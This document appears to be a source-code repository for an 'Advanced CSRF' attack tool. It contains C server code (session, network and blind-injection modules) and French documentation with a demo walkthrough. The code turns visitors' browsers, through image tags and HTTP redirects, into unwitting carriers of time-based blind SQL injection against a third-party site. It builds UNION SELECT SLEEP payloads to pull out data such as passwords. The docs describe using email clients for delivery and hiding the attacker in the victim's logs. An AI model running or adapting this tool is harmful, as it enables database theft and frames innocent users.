*/ 6 | /**********************/ 7 | 8 | # include 9 | # include 10 | # include 11 | # include 12 | # include 13 | # include 14 | 15 | /**********************/ 16 | /* DEFINES */ 17 | /**********************/ 18 | 19 | # define COLOR(id) ((id) % 6 + 31) 20 | 21 | # define GETIP(A,I) (((A)>>(I*8))&0xFF) 22 | 23 | # define BUF_SIZE 1024 24 | 25 | # define SET_ONLY_READ 2 26 | # define SET_ONLY_WRITE 4 27 | # define SET_READ_WRITE 6 28 | 29 | # define TIMEOUT_SESSION (double)5 30 | 31 | # define RECALC_THREADS 1 32 | 33 | enum 34 | { 35 | ACTION_NONE, 36 | ACTION_READY, 37 | ACTION_DONE 38 | }; 39 | 40 | /**********************/ 41 | /* STRUCTURES */ 42 | /**********************/ 43 | 44 | typedef struct s_session_attack 45 | { 46 | void *ptr; /* pointer for addons structures*/ 47 | int in_progress; 48 | int step; 49 | double time; 50 | } t_session_attack; 51 | 52 | typedef struct s_session_conf 53 | { 54 | int fd_out; 55 | FILE *file; 56 | char *line; 57 | } t_session_conf; 58 | 59 | typedef struct s_session 60 | { 61 | t_session_attack attack; 62 | t_session_conf conf; 63 | 64 | int last; 65 | double time; 66 | int active; 67 | int nb_clients; 68 | int id; /* just for colorized debug */ 69 | char *host; 70 | struct s_session *next; 71 | } t_session; 72 | 73 | typedef struct s_client 74 | { 75 | double time; 76 | int fd; 77 | int action; 78 | 79 | char *buffin; 80 | int sizein; 81 | char *buffout; 82 | int sizeout; 83 | 84 | t_session *session; 85 | struct s_client *next; 86 | } t_client; 87 | 88 | typedef struct s_cmd 89 | { 90 | char *command; 91 | int (*action)(t_client *, char *); 92 | } t_cmd; 93 | 94 | typedef struct s_conf_cmd 95 | { 96 | char *command; 97 | int (*action)(t_client *); 98 | } t_conf_cmd; 99 | 100 | typedef struct s_context 101 | { 102 | int fd; 103 | struct s_client *clients; 104 | struct s_session *sessions; 105 | } t_context; 106 | 107 | /**********************/ 108 | /* PROTOTYPES */ 109 | /**********************/ 110 | int file_exists(char *); 111 | void usage(char *); 112 | int check_session_threads(t_client *); 113 | int conf_cmd_blind(t_client *); 114 | void session_write_time(t_session *); 115 | int http_cache_poisonning(t_client *, char *, char *); 116 | int http_send_404(t_client *); 117 | int http_send_302(t_client *, char *, int); 118 | int http_send_301(t_client *, char *, int); 119 | int session_do_step(t_client *); 120 | void session_end(t_session *); 121 | void session_delete(t_session *); 122 | t_session *session_get(t_context *, struct sockaddr_in *); 123 | int set_my_fd(struct s_client *, fd_set *, fd_set *, int); 124 | void *xmalloc(unsigned int); 125 | int xioctl(t_client *, t_client *, int *); 126 | int init_fdset(fd_set *, fd_set *, t_context *); 127 | void check_fdset(fd_set *, fd_set *, t_context *); 128 | void init(t_context *); 129 | void init_client(t_client *); 130 | void treat_signal(int); 131 | t_context *get_context_ptr(t_context *); 132 | void del_the_client(t_client *); 133 | void del_client(t_client *); 134 | t_client *add_the_client(t_context *, int, struct sockaddr_in *); 135 | void net_init(t_context *, int); 136 | void net_traitement(t_context *); 137 | void main_loop(t_context *); 138 | int xbind(int, struct sockaddr *); 139 | int xlisten(int); 140 | int xsocket(struct protoent *); 141 | void accept_new_client(t_context *); 142 | char read_from_client(t_client *); 143 | void write_to_client(t_client *); 144 | char *check_buffer(t_client *); 145 | int create_tcp_server(int *); 146 | char *remove_by_offset(char *, int, int); 147 | int parser(t_client *, char *); 148 | void tunneling_line(struct s_client *, char *, int); 149 | void check_routine(t_context *); 150 | double time_get(void); 151 | 152 | /* VERBOSE */ 153 | # ifndef NVERBOSE 154 | # define VERBOSE(Msg) \ 155 | do \ 156 | { \ 157 | (Msg); \ 158 | } \ 159 | while (0) 160 | # else 161 | # define VERBOSE(Msg) 162 | # endif /* !NVERBOSE */ 163 | 164 | #endif /* !_SERVER_H */ 165 | -------------------------------------------------------------------------------- /doc/fr.html: -------------------------------------------------------------------------------- 1 | 2 | 3 | ACSRF: Advanced Cross Site Request Forgery 4 | 5 | 6 |

ACSRF: Advanced Cross Site Request Forgery

7 | 13 |
14 |
15 |

Introduction

16 |

Les Advanced CSRF sont nées suite à quelques recherches sur les Cross Site Request Forgery effectuees au sein du lab.

17 |

Les ACSRF sont une utilisation avancée des CSRF; En ajoutant la possibilité de pouvoir récuperer le temps de calcul de la page redirigée, il est alors possible de récuperer des informations provenants d'une base de donnée sur laquelle est connectée une page web contenant une injection SQL.

18 |

Les particularités de ce type d'attaque sont: 19 |

    20 |
  • C'est la victime qui apparait dans les fichiers logs du site contenant l'injection SQL
  • 21 |
  • Décentralisation d'une attaque
  • 22 |
  • Difficilement/pas patchable
  • 23 |
  • Forensics difficile
  • 24 |
  • Nouveau type d'attaque desormais possible: Sql injections parties administration
  • 25 |
26 |

27 |
28 |
29 |

Papiers

30 | 46 |
47 |
48 |

Preuves de concept

49 |

50 |

    51 |
  • 52 | acsrf-server_1.0.tar.bz2 53 |

    Serveur multiplexé capable de faire des Advanced CSRF par sessions.
    54 | Le serveur bloque toutes les sockets de l'application sauf une. Il se sert alors de la socket disponible pour redirigée la cible sur l'application à attaquer.
    55 | Il compare ensuite le temps que met la cible pour recontacter le serveur (temps de calcul de la page), il est donc permis de faire des Attaques de type Blind SQL injections.

    56 |

    Grace à un système de sessions, les attaques peuvent être ciblées (par ips), de programmer plusieurs attaques, de faire des CSRF classiques (sans notion de temps de calcul) ou tout simplement de faire une redirection sur une image existante, ce qui permet de camoufler l'attaque sur une page au rechargement de la page, une fois l'attaque terminée.

    57 |
  • 58 |
  • 59 |

    Example illustré d'attaque via une page html contenant des images.

    60 |
  • 61 |
  • 62 |

    Screenshots d'une attaque par email sous thunderbird.

    63 |
  • 64 |
  • 65 |

    Screenshots d'une attaque par email sous gmail.

    66 |
  • 67 |
  • 68 |

    Il est potentiellement possible de reproduire ce type d'attaques sur d'autres clients/protocoles; Il suffit simplement que ces derniers possedent un nombre de threads limité et qu'ils supportent le chargement d'image externes et donc les redirections HTTP. (nntp, .pdf, .doc, .xls)

    69 |
  • 70 |
  • 71 | inject_html.js 72 |

    Proof of concept des blind sql injections basees sur le temps de reponse d'une requete redirigee.

    73 |

    Le script se contente de creer un objet image javascript qu'il redirige vers la page a tester, en ajoutant un chronometre avant et apres la redirection vers le site victime.

    74 |

    Dans cette example encore, c'est le visiteur de la page web qui attaque victim.com et donc apparait dans les logs a notre place.

    75 |
  • 76 |
77 |

78 |
79 |
80 |

Infos

81 | 86 |
87 | 88 | 89 | -------------------------------------------------------------------------------- /doc/server-demo-fr-www.html: -------------------------------------------------------------------------------- 1 | 2 | 3 | 6 | 7 | 8 |

Code couleur pour les images de la page web:
9 |

    10 |
  • rouge: image non valide (non trouvee ou pas de type image)
  • 11 |
  • jaune: en chargement
  • 12 |
  • vert: image valide
  • 13 |
14 |

15 |
16 | 17 | 18 |
    19 |
  • A gauche: une page web contenant 250 images pointant vers le serveur 20 | (le serveur etait eteint pendant le chargement de la page).
  • 21 |
  • En haut a droite: initialisation du serveur.
  • 22 |
  • En bas a droite: un tail -f sur le fichier de sortie que va generer le 23 | serveur pour la session locale.
  • 24 |
25 |
26 | 27 | 28 |
    29 |
  • A gauche: la page est rechargee, les 7 premieres images sont des csrf 30 | basiques, le reste est une blind sql injection (possible seulement avec les 31 | advanced csrf). Toutes les images sont jaunes car en chargement. 32 | En realite il n'y en a que 24 qui sont reelement en chargement, car le 33 | navigateur etait configure par defaut pour l'exemple. Les autres images ne 34 | sont pas encore en chargement, mais dans une queue de chargement.
  • 35 | 36 |
  • En haut a droite: le nombre de client est monte a 30 (en realite il est 37 | monte a 24 clients, c'est juste le debug qui ajoute 6 au total).
  • 38 | 39 |
  • En bas a droite: des indications sur le temps de chargement par 40 | l'utilisateur de chaques pages redirigees (inutile pour l'instant)
  • 41 |
42 |
43 | 44 | 45 |
    46 |
  • En haut a gauche: des images ont generees des erreurs, ce sont les 47 | quelques connections qui ont etaient close.
  • 48 | 49 |
  • En haut a droite: Nous sommes passes dans la routine qui debloque une 50 | connection pour en ouvrir une autre par alternance. Le principe est donc 51 | de ne debloquer sur le client qu'une seule connection.
  • 52 | 53 |
  • En bas a droite: la derniere ligne des premieres redirections est a 0.5, 54 | c'est le signal comme quoi le client est arrive a sa limite de nombre de 55 | connections. C'est ce qui declanche le passage vers la routine. Cette 56 | routine commence par determiner la taille du champ a recuperer en 57 | utilisant deja le concept des blind sql injections.
  • 58 |
59 |
60 | 61 | 62 |
    63 |
  • En bas a droite: le test de longueur de champ avec une longueur de 5 a 64 | durer 0.7 secondes (le test renvoi vrai). Les tests qui suivent la 65 | determination de la taille du champ sont les tests permettant de tester le 66 | chaques lettres du champ lui meme. Sur les 4 tests de lettres effectues, 2 67 | renvoies deja vrai.
    68 | 69 |
      70 |
    • Le premier test, test le caractere a en premiere position et renvoi 71 | faux.
    • 72 |
    • Le deuxieme test, test le caractere b en premiere position et 73 | renvoi vrai, le premier caractere est donc sauvegarder (b).
    • 74 |
    • Le troisieme test, test le caractere a en deuxieme position et 75 | renvoi vrai, le deuxieme caractere est donc sauvegarder (a).
    • 76 |
    • Le quatrieme test, test le caractere a en troisieme position et 77 | renvoi faux
    • 78 |
    • Le cinquieme test, test le caractere b en troisieme position et n'a 79 | pas encore de valeur de retour.
    • 80 |
    81 |
  • 82 |
83 |
84 | 85 | 86 |
    87 |
  • A gauche: Le mot de passe a etait trouve, mais il reste encore des 88 | images a affiche.
  • 89 | 90 |
  • En bas a droite: continuation jusqu'a arriver a la longueur du mot de 91 | passe et affichage du mot de passe trouve.
  • 92 |
93 |
94 | 95 | 96 |
    97 |
  • A gauche: L'attaque etant terminee, le serveur renvoie pour les 98 | dernieres images sur une image existante (en vert).
  • 99 |
100 |
101 | 102 | 103 |
    104 |
  • A gauche: Toutes les images ont terminees leurs 105 | chargement. Observation: suite a l'attaque, une bon nombre d'images 106 | semblent avoir subi des erreurs.
  • 107 |
108 |
109 | 110 | 111 |

Rechargement de la page sans redemarrer le serveur. 112 |

    113 |
  • A gauche: toutes les images passent en jaune.
  • 114 | 115 |
  • En haut a droite: le serveur est activ et fait belle et bien des 116 | redirections.
  • 117 | 118 |
  • A bas a droite: La session de blind sql injection est terminee, donc 119 | rien de nouveau ici.
  • 120 |
121 |

122 |
123 | 124 | 125 |

Chargement de la page terminee 126 |

    127 |
  • A gauche: toutes les images apparaissent comme etant sans problemes. 128 | il n'y a plus de traces de redirections sur la page web.
  • 129 | 130 |
  • A noter: il n'y a pas eu de changement sur la page de gauche, c'est 131 | le serveur qui gere la session d'attaque (gestion d'une queue 132 | d'actions), une fois l'attaque terminee, le serveur redirige les 133 | requetes vers une image existante afin de ne pas eveiller les soupcons.
  • 134 |
135 |

136 |
137 | 138 | 139 | 140 | -------------------------------------------------------------------------------- /server/src/session.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include 4 | #include 5 | #include 6 | 7 | #include "server.h" 8 | 9 | int conf_cmd_302(t_client *client) 10 | { 11 | http_send_302(client, client->session->conf.line + 4, 0); 12 | return (1); 13 | } 14 | 15 | int conf_cmd_301(t_client *client) 16 | { 17 | http_send_301(client, client->session->conf.line + 4, 0); 18 | return (1); 19 | } 20 | 21 | int conf_cmd_404(t_client *client) 22 | { 23 | http_send_404(client); 24 | return (1); 25 | } 26 | 27 | int conf_cmd_file(t_client *client) 28 | { 29 | char *conf; 30 | 31 | fclose(client->session->conf.file); 32 | client->session->conf.file = 0; 33 | conf = client->session->conf.line + 5; 34 | if (file_exists(conf)) 35 | { 36 | client->session->conf.file = fopen(conf, "r"); 37 | VERBOSE(printf("\033[%d;1m<%03d> - conf : %s\033[m\n", 38 | COLOR(client->session->id), client->session->id, conf)); 39 | /* 40 | write(client->session->conf.fd_out, client->session->conf.line, 41 | strlen(client->session->conf.line)); 42 | */ 43 | } 44 | return (session_do_step(client)); 45 | } 46 | 47 | static t_conf_cmd conf_cmds[] = 48 | { 49 | {"301", conf_cmd_301}, 50 | {"302", conf_cmd_302}, 51 | {"404", conf_cmd_404}, 52 | {"FILE", conf_cmd_file}, 53 | {"BLIND", conf_cmd_blind}, 54 | {NULL, NULL} 55 | }; 56 | 57 | int session_parse_line(t_client *client) 58 | { 59 | int i; 60 | 61 | for (i = 0; conf_cmds[i].command != NULL; i++) 62 | if (!(strncmp(conf_cmds[i].command, client->session->conf.line, 63 | strlen(conf_cmds[i].command)))) 64 | return (conf_cmds[i].action(client)); 65 | VERBOSE(printf("Unknown command : [%s]\n", client->session->conf.line)); 66 | return (0); 67 | } 68 | 69 | void session_get_line(t_client *client) 70 | { 71 | char *conf; 72 | 73 | if (!client->session->conf.file) 74 | { 75 | if (file_exists(client->session->host)) 76 | conf = client->session->host; 77 | else 78 | conf = "default"; 79 | client->session->conf.file = fopen(conf, "r"); 80 | VERBOSE(printf("\033[%d;1m<%03d> - conf : %s\033[m\n", 81 | COLOR(client->session->id), client->session->id, conf)); 82 | } 83 | if (!fgets(client->session->conf.line, BUF_SIZE, client->session->conf.file)) 84 | { 85 | fclose(client->session->conf.file); 86 | client->session->conf.file = 0; 87 | session_get_line(client); 88 | } 89 | else if (client->session->conf.line[strlen(client->session->conf.line) - 1] 90 | == '\n') 91 | client->session->conf.line[strlen(client->session->conf.line) - 1] = 0; 92 | } 93 | 94 | int session_do_step(t_client *client) 95 | { 96 | if (client->action == ACTION_READY && !client->session->attack.in_progress) 97 | session_get_line(client); 98 | client->session->attack.step++; 99 | /* 100 | printf("%d %s\n", client->fd, client->session->conf.line); 101 | */ 102 | /* 103 | VERBOSE(printf("\033[%d;1m<%03d> - %d attack_step\033[m\n", 104 | COLOR(client->session->id), client->session->id, 105 | client->session->attack.step)); 106 | */ 107 | session_parse_line(client); 108 | return (1); 109 | } 110 | 111 | t_session *session_new(t_context *context, char *host) 112 | { 113 | t_session *session; 114 | t_session *tmp; 115 | char *tmp_buf; 116 | 117 | session = xmalloc(sizeof(*session)); 118 | session->host = strdup(host); 119 | session->id = 0; 120 | 121 | session->nb_clients = 0; 122 | 123 | session->attack.time = 0; 124 | session->attack.in_progress = 0; 125 | session->attack.step = 0; 126 | session->attack.ptr = 0; 127 | 128 | tmp_buf = xmalloc(sizeof(*tmp_buf) * (strlen(host) + 5)); 129 | memcpy(tmp_buf, "out.", 4); 130 | memcpy(tmp_buf + 4, host, strlen(host) + 1); 131 | session->conf.fd_out = open(tmp_buf, O_WRONLY | O_CREAT | O_APPEND, 0700); 132 | free(tmp_buf); 133 | session->conf.file = 0; 134 | session->conf.line = xmalloc(sizeof(*session->conf.line) * BUF_SIZE); 135 | 136 | session->next = NULL; 137 | if (!context->sessions) 138 | { 139 | context->sessions = session; 140 | return (session); 141 | } 142 | session->id++; 143 | for (tmp = context->sessions; tmp->next; tmp = tmp->next) 144 | session->id++; 145 | tmp->next = session; 146 | return (session); 147 | } 148 | 149 | void session_free(t_session *session) 150 | { 151 | free(session); 152 | return ; 153 | } 154 | 155 | t_session *session_get(t_context *context, struct sockaddr_in *in) 156 | { 157 | char *host; 158 | t_session *tmp; 159 | 160 | host = inet_ntoa(in->sin_addr); 161 | for (tmp = context->sessions; tmp; tmp = tmp->next) 162 | if (!strcmp(tmp->host, host)) 163 | return (tmp); 164 | return (session_new(context, host)); 165 | } 166 | 167 | void session_write_time(t_session *session) 168 | { 169 | static char *buf = 0; 170 | 171 | if (!buf) 172 | buf = xmalloc(sizeof(*buf) * 20); 173 | snprintf(buf, 19, "\t%f\n", time_get() - session->attack.time); 174 | write(session->conf.fd_out, buf, strlen(buf)); 175 | } 176 | 177 | void session_end(t_session *session) 178 | { 179 | t_client *tmp; 180 | t_context *context; 181 | 182 | if (session->attack.step++ && session->attack.time) 183 | { 184 | session_write_time(session); 185 | session->attack.time = 0; 186 | } 187 | VERBOSE(printf("\033[%d;1m<%03d> - session end (%d)\033[m\n", 188 | COLOR(session->id), session->id, session->attack.step)); 189 | context = get_context_ptr((void *)0); 190 | for (tmp = context->clients; tmp; tmp = tmp->next) 191 | if (tmp->session == session) 192 | { 193 | http_send_404(tmp); 194 | del_the_client(tmp); 195 | } 196 | session->active = 0; 197 | return ; 198 | } 199 | 200 | void session_delete(t_session *session) 201 | { 202 | t_context *context; 203 | t_session *tmp; 204 | t_session *tmp2; 205 | 206 | session_end(session); 207 | context = get_context_ptr((void *)0); 208 | VERBOSE(printf("\033[%d;1m<%03d> - session delete\033[m\n", 209 | COLOR(session->id), session->id)); 210 | tmp = context->sessions; 211 | if (tmp == session) 212 | { 213 | context->sessions = tmp->next; 214 | session_free(tmp); 215 | return ; 216 | } 217 | tmp2 = tmp; 218 | tmp = tmp->next; 219 | for (tmp2 = tmp, tmp = tmp->next; tmp && tmp != session; 220 | tmp = tmp->next, tmp2 = tmp2->next) 221 | ; 222 | if (tmp == session) 223 | { 224 | tmp2->next = tmp->next; 225 | session_free(tmp); 226 | } 227 | return ; 228 | } 229 | -------------------------------------------------------------------------------- /server/src/blind.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include 4 | #include 5 | #include 6 | 7 | #include "server.h" 8 | #include "blind.h" 9 | 10 | #define PTR(session) ((t_blind *)((session)->attack.ptr)) 11 | #define CPTR(client) (PTR((client)->session)) 12 | 13 | void blind_uninit(t_client *client) 14 | { 15 | write(client->session->conf.fd_out, "\n\nresult : [", 12); 16 | write(client->session->conf.fd_out, CPTR(client)->result, 17 | CPTR(client)->length); 18 | write(client->session->conf.fd_out, "]\n", 2); 19 | http_send_404(client); 20 | client->session->attack.in_progress = 0; 21 | free(CPTR(client)->url); 22 | free(CPTR(client)->query); 23 | free(CPTR(client)->result); 24 | } 25 | 26 | t_blind *blind_init_new(t_client *client) 27 | { 28 | t_blind *blind; 29 | int size; 30 | char *tmp; 31 | 32 | client->session->attack.in_progress = 1; 33 | client->session->attack.time = time_get(); 34 | VERBOSE(printf("\033[%d;1m<%03d> - blind\033[m\n", 35 | COLOR(client->session->id), client->session->id)); 36 | blind = xmalloc(sizeof(*blind)); 37 | blind->nb_threads = 0; 38 | blind->nb_threads_tmp = 0; 39 | blind->result = 0; 40 | blind->length = -1; 41 | blind->length_tmp = -1; 42 | blind->st_pos = 0; 43 | blind->st_c = 0; 44 | blind->padding = 0; 45 | blind->buf = xmalloc(sizeof(*blind->buf) * BUF_SIZE); 46 | blind->buf[0] = 0; 47 | tmp = client->session->conf.line + 6; 48 | size = strchr(tmp, ' ') - tmp; 49 | blind->url = xmalloc(sizeof(*blind->url) * (size + 1)); 50 | strncpy(blind->url, tmp, size); 51 | blind->url[size] = 0; 52 | blind->url_size = strlen(blind->url); 53 | blind->query = strdup(tmp + size + 1); 54 | blind->query_size = strlen(blind->query); 55 | return (blind); 56 | } 57 | 58 | int blind_check_nb_threads(t_client *client) 59 | { 60 | if (client->session->last == client->fd && 61 | time_get() - client->time > (double)TIMEOUT_THREAD) 62 | { 63 | PTR(client->session)->nb_threads = client->session->nb_clients; 64 | VERBOSE(printf("\033[%d;1m<%03d> - NB THREADS = %d\033[m\n", 65 | COLOR(client->session->id), client->session->id, 66 | PTR(client->session)->nb_threads)); 67 | client->session->attack.time = time_get(); 68 | return (1); 69 | } 70 | return (0); 71 | } 72 | 73 | int blind_url_tare(t_client *client) 74 | { 75 | int size; 76 | char *tmp; 77 | 78 | tmp = "-1+UNION+SELECT+SLEEP("XSTR(BLIND_TIMEOUT)")"; 79 | size = CPTR(client)->url_size + strlen(tmp); 80 | snprintf(CPTR(client)->buf, size, CPTR(client)->url, tmp); 81 | return (1); 82 | } 83 | 84 | int blind_url_null(t_client *client) 85 | { 86 | int size; 87 | char *tmp; 88 | 89 | tmp = "-1"; 90 | size = CPTR(client)->url_size + strlen(tmp); 91 | snprintf(CPTR(client)->buf, size, CPTR(client)->url, tmp); 92 | return (1); 93 | } 94 | 95 | int blind_url_next(t_client *client) 96 | { 97 | char *tmp; 98 | char *tmp2; 99 | 100 | tmp = "-1+UNION+SELECT+IF(ASCII(SUBSTR((%s),%d,1))=%d,SLEEP(" 101 | XSTR(BLIND_TIMEOUT2)"),0)"; 102 | snprintf(CPTR(client)->buf, strlen(tmp) + CPTR(client)->query_size + 5, 103 | tmp, CPTR(client)->query, CPTR(client)->st_pos + 1, 104 | (int)BCHR(CPTR(client)->st_c)); 105 | tmp2 = strdup(CPTR(client)->buf); 106 | snprintf(CPTR(client)->buf, 107 | CPTR(client)->url_size + strlen(tmp2), 108 | CPTR(client)->url, tmp2); 109 | free(tmp2); 110 | return (1); 111 | } 112 | 113 | int blind_url_get_length(t_client *client) 114 | { 115 | char *tmp; 116 | char *tmp2; 117 | 118 | tmp = "-1+UNION+SELECT+IF(LENGTH((%s))=%d,SLEEP("XSTR(BLIND_TIMEOUT2)"),0)"; 119 | snprintf(CPTR(client)->buf, strlen(tmp) + CPTR(client)->query_size + 1, 120 | tmp, CPTR(client)->query, CPTR(client)->length_tmp); 121 | tmp2 = strdup(CPTR(client)->buf); 122 | snprintf(CPTR(client)->buf, 123 | CPTR(client)->url_size + strlen(tmp2), 124 | CPTR(client)->url, tmp2); 125 | free(tmp2); 126 | return (1); 127 | } 128 | 129 | void blind_routine(t_client *client, int st) 130 | { 131 | if (!CPTR(client)->padding) 132 | { 133 | if (time_get() - client->session->attack.time > BLIND_TIMEOUT) 134 | CPTR(client)->padding++; 135 | } 136 | else if (CPTR(client)->length == -1) 137 | { 138 | if (st) 139 | { 140 | CPTR(client)->length = CPTR(client)->length_tmp; 141 | CPTR(client)->result = 142 | xmalloc(sizeof(char) * (CPTR(client)->length) + 1); 143 | CPTR(client)->result[CPTR(client)->length] = 0; 144 | VERBOSE(printf("\033[%d;1m<%03d> - LENGTH = %d\033[m\n", 145 | COLOR(client->session->id), client->session->id, 146 | CPTR(client)->length)); 147 | } 148 | else 149 | CPTR(client)->length_tmp++; 150 | } 151 | else 152 | { 153 | if (st) 154 | { 155 | VERBOSE(printf("\033[%d;1m<%03d> - NEW CHAR = %c\033[m\n", 156 | COLOR(client->session->id), client->session->id, 157 | BCHR(CPTR(client)->st_c))); 158 | CPTR(client)->result[CPTR(client)->st_pos] = 159 | BCHR(CPTR(client)->st_c); 160 | CPTR(client)->st_pos++; 161 | CPTR(client)->st_c = 0; 162 | } 163 | else 164 | CPTR(client)->st_c++; 165 | } 166 | } 167 | 168 | int blind_next_step(t_client *client) 169 | { 170 | blind_routine(client, (time_get() - client->session->attack.time > 171 | BLIND_TIMEOUT2)); 172 | if (CPTR(client)->padding || !(CPTR(client)->nb_threads_tmp++)) 173 | { 174 | if (CPTR(client)->padding) 175 | { 176 | if (CPTR(client)->length > -1 && 177 | CPTR(client)->st_pos == CPTR(client)->length) 178 | { 179 | blind_uninit(client); 180 | return (1); 181 | } 182 | if (CPTR(client)->length == -1) 183 | blind_url_get_length(client); 184 | else 185 | blind_url_next(client); 186 | } 187 | else 188 | blind_url_tare(client); 189 | } 190 | else 191 | blind_url_null(client); 192 | if (client->session->attack.step && client->session->attack.time) 193 | { 194 | session_write_time(client->session); 195 | client->session->attack.time = 0; 196 | } 197 | usleep(100000); 198 | http_send_302(client, CPTR(client)->buf, 1); 199 | client->action = ACTION_DONE; 200 | return (1); 201 | } 202 | 203 | int conf_cmd_blind(t_client *client) 204 | { 205 | if (client->action != ACTION_READY) 206 | return (0); 207 | if (!CPTR(client)) 208 | client->session->attack.ptr = blind_init_new(client); 209 | if (!CPTR(client)->nb_threads) 210 | blind_check_nb_threads(client); 211 | if (CPTR(client)->nb_threads > 0 && 212 | client->session->nb_clients >= CPTR(client)->nb_threads && 213 | client->session->last == client->fd) 214 | blind_next_step(client); 215 | return (1); 216 | } 217 | -------------------------------------------------------------------------------- /server/src/net.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include 4 | #include 5 | #include 6 | #include 7 | #include 8 | #include 9 | #include 10 | #include 11 | #include 12 | #include 13 | #include 14 | #include 15 | #include 16 | 17 | #include "server.h" 18 | 19 | void tunneling_line(struct s_client *client, char *line, int debug) 20 | { 21 | char *tmp; 22 | int size; 23 | 24 | size = strlen(line); 25 | tmp = (char *)xmalloc(client->sizeout + size); 26 | if (debug) 27 | { 28 | VERBOSE(printf("\033[%dm[%03d] > %s\033[m", 29 | COLOR(client->fd), client->fd, line)); 30 | } 31 | if (client->sizeout > 0) 32 | { 33 | memcpy(tmp, client->buffout, client->sizeout); 34 | free(client->buffout); 35 | } 36 | memcpy(tmp + client->sizeout, line, size); 37 | client->buffout = tmp; 38 | client->sizeout += size; 39 | return ; 40 | } 41 | 42 | void check_routine(t_context *context) 43 | { 44 | t_session *session; 45 | t_client *client; 46 | 47 | for (client = context->clients; client; client = client->next) 48 | if (client->action != ACTION_DONE) 49 | session_do_step(client); 50 | for (session = context->sessions; session; session = session->next) 51 | if (session->active && time_get() - session->time > TIMEOUT_SESSION) 52 | { 53 | VERBOSE(printf("\033[%d;1m<%03d> - session timeout\033[m\n", 54 | COLOR(session->id), session->id)); 55 | session_end(session); 56 | } 57 | } 58 | 59 | void net_init(t_context *context, int port) 60 | { 61 | context->fd = create_tcp_server(&port); 62 | if (context->fd < 0) 63 | { 64 | VERBOSE(printf( "[-] Probleme lors de la creation du serveur.\n")); 65 | exit(1); 66 | } 67 | } 68 | 69 | void main_loop(t_context *context) 70 | { 71 | int max; 72 | fd_set rfds; 73 | fd_set wfds; 74 | struct timeval timeout; 75 | int nb; 76 | 77 | timeout.tv_sec = 1; 78 | timeout.tv_usec = 0; 79 | while (42) 80 | { 81 | max = init_fdset(&rfds, &wfds, context); 82 | if ((nb = select(max + 1, &rfds, &wfds, NULL, &timeout)) < 0) 83 | { 84 | if (errno == EINTR) 85 | continue ; 86 | perror("select"); 87 | exit(1); 88 | } 89 | else if (nb) 90 | { 91 | check_fdset(&rfds, &wfds, context); 92 | net_traitement(context); 93 | } 94 | check_routine(context); 95 | } 96 | } 97 | 98 | void net_traitement(t_context *context) 99 | { 100 | char *line; 101 | t_client *tmp; 102 | 103 | tmp = context->clients; 104 | while (tmp) 105 | { 106 | if (tmp->sizein > 0) 107 | while ((line = check_buffer(tmp))) 108 | { 109 | parser(tmp, line); 110 | free(line); 111 | } 112 | tmp = tmp->next; 113 | } 114 | return ; 115 | } 116 | 117 | void accept_new_client(t_context *context) 118 | { 119 | struct sockaddr_in in; 120 | int fd; 121 | int size; 122 | 123 | size = sizeof(in); 124 | if ((fd = accept(context->fd, (struct sockaddr *)&in, 125 | (socklen_t *)&size)) == -1) 126 | { 127 | perror("accept"); 128 | exit(1); 129 | } 130 | VERBOSE(printf("\033[%dm[%03d] - Connection from %s\033[m\n", 131 | COLOR(fd), fd, inet_ntoa(in.sin_addr))); 132 | add_the_client(context, fd, &in); 133 | return ; 134 | } 135 | 136 | void write_to_client(t_client *client) 137 | { 138 | int ret; 139 | char *buf; 140 | 141 | ret = write(client->fd, client->buffout, client->sizeout); 142 | if (ret < 0) 143 | { 144 | del_the_client(client); 145 | return ; 146 | } 147 | if (ret < client->sizeout) 148 | { 149 | buf = (char *)xmalloc(client->sizeout - ret); 150 | memcpy(buf, client->buffout + ret, client->sizeout - ret); 151 | free(client->buffout); 152 | client->buffout = buf; 153 | client->sizeout -= ret; 154 | } 155 | else 156 | { 157 | free(client->buffout); 158 | client->sizeout = 0; 159 | client->buffout = NULL; 160 | } 161 | if (client->action == ACTION_DONE) 162 | del_the_client(client); 163 | return ; 164 | } 165 | 166 | char read_from_client(t_client *client) 167 | { 168 | int size; 169 | int res; 170 | 171 | if (xioctl(client, client, &size)) 172 | return (1); 173 | if (size == 0) 174 | { 175 | del_the_client(client); 176 | return (1); 177 | } 178 | client->buffin = xmalloc(size); 179 | if ((res = read(client->fd, client->buffin, size)) < 0) 180 | { 181 | del_the_client(client); 182 | return (1); 183 | } 184 | client->sizein += size; 185 | return (0); 186 | } 187 | 188 | int init_fdset(fd_set *rfds, fd_set *wfds, t_context *context) 189 | { 190 | int max; 191 | t_client *tmp; 192 | 193 | FD_ZERO(rfds); 194 | FD_ZERO(wfds); 195 | max = -1; 196 | 197 | FD_SET(context->fd, rfds); 198 | if (context->fd > max) 199 | max = context->fd; 200 | tmp = context->clients; 201 | while (tmp) 202 | { 203 | if (tmp->fd != -1) 204 | { 205 | if (set_my_fd(tmp, rfds, wfds, SET_READ_WRITE) > max) 206 | max = tmp->fd; 207 | } 208 | tmp = tmp->next; 209 | } 210 | return (max); 211 | } 212 | 213 | void check_fdset(fd_set *rfds, fd_set *wfds, t_context *context) 214 | { 215 | t_client *tmp; 216 | 217 | if (FD_ISSET(context->fd, rfds)) 218 | accept_new_client(context); 219 | tmp = context->clients; 220 | while (tmp) 221 | { 222 | if (tmp->fd >= 0) 223 | { 224 | if (FD_ISSET(tmp->fd, rfds)) 225 | if (read_from_client(tmp)) 226 | return ; 227 | if (tmp->buffout != NULL && FD_ISSET(tmp->fd, wfds)) 228 | write_to_client(tmp); 229 | } 230 | tmp = tmp->next; 231 | } 232 | return ; 233 | } 234 | 235 | char *check_buffer(t_client *client) 236 | { 237 | char *line; 238 | int i; 239 | 240 | line = NULL; 241 | for (i = 0; i <= client->sizein - 1; i++) 242 | { 243 | if (!(strncmp(client->buffin + i, "\n", 1))) 244 | { 245 | line = (char *)xmalloc(i + 1); 246 | memcpy(line, client->buffin, i); 247 | line[i] = '\0'; 248 | client->buffin = remove_by_offset(client->buffin, client->sizein, 249 | i + 1); 250 | client->sizein -= i + 1; 251 | return (line); 252 | } 253 | } 254 | return (NULL); 255 | } 256 | 257 | char *remove_by_offset(char *original, int size, int offset) 258 | { 259 | char *tmp; 260 | 261 | if (size == offset) 262 | { 263 | free(original); 264 | return (NULL); 265 | } 266 | tmp = (char *)xmalloc(size - offset); 267 | memcpy(tmp, original + offset, size - offset); 268 | free(original); 269 | return (tmp); 270 | } 271 | 